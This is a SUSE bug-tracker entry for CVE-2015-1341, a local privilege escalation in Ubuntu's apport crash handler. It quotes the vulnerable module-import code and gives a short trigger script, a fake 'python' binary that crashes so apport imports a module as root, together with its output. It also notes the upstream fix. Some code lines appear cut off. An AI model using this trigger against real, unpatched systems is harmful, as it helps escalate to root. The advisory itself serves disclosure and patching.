Bug 952246 - (CVE-2015-1341) VUL-0: CVE-2015-1341: apport: Privilege escalation through Python module imports
VUL-0: CVE-2015-1341: apport: Privilege escalation through Python module imports
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
Other Other
: P3 - Medium : Major
: ---
Assigned To: Jan Matejek
Security Team bot
Depends on:
  Show dependency treegraph
Reported: 2015-10-27 16:37 UTC by Andreas Stieger
Modified: 2016-09-08 12:22 UTC (History)
2 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Note You need to log in before you can comment on or make changes to this bug.
Description Andreas Stieger 2015-10-27 16:37:28 UTC

A privilege escalation was discovered in apport.


The command line of the process triggering the coredump is checked to
determine if it's a script. If the interpreter is Python and the first
argument is ``-m``, the method ``_python_module_path`` is called to find
the path of the culprit module

    def _python_module_path(klass, module):
        '''Determine path of given Python module'''

        module = module.replace('/', '.')

            m = __import__(module)
            return None


Any Python module in ``sys.path`` can be imported because the variable
``module`` is under control of the attacker. It should be noted that
``_python_module_path`` is called with euid=0, and apport relies on the
process name to determine if the process is an interpreter. A crash of
Python isn't required to reach this function: any process name starting
with ``python`` and producing a core dump is enough. As an example, the
following bash script triggers the bug::


        cat <<EOF > python.c
        int main(void) { *(int *)0 = 0; return 0; }
        gcc -o python python.c
        ./python -m venv.__main__

and results in the creation of a "lightweight virtual Python
environment" in the root directory::

        $ ./lol.sh
        ./lol.sh: line 8: 7665 Segmentation fault (core dumped)
        $ ls -l / | head -4
        total 100
        drw-rw---- 5 root root 4096 Sep 29 16:09 7665
        drwxr-xr-x 2 root root 4096 Sep 29 05:41 bin
        drwxr-xr-x 3 root root 4096 Sep 29 06:20 boot


Importing an arbitrary module is a security issue because a few standard
modules rely on files in the home directory associated to the uid of the
dumped process. A fully working exploit has been written (targetting
Python2 and Python3), giving an instant root shell to the attacker.
While the exploitation is straightforward for Python2, a bit more work
was required to find a suitable module for Python3.

Comment 1 Andreas Stieger 2015-10-27 16:41:55 UTC
Upstream fix is at:

    Committer: Martin Pitt
    Date: 2015-10-27 13:05:47 UTC
    Revision ID: martin.pitt@canonical.com-20151027130547-i2gohyhrzmza4cf4

* SECURITY FIX: When determining the path of a Python module for a program like "python -m module_name", avoid actually importing and running the module; this could lead to local root privilege escalation. Thanks to Gabriel Campana for discovering this and the fix! (CVE-2015-1341, LP: #1507480)

Maintainer, please submit together with bug 947731 which is open.
Comment 2 Swamp Workflow Management 2015-10-27 23:00:45 UTC
bugbot adjusting priority
Comment 3 Jan Matejek 2016-03-17 16:58:02 UTC
the maintained version 0.114 in SLE11 is too old to be affected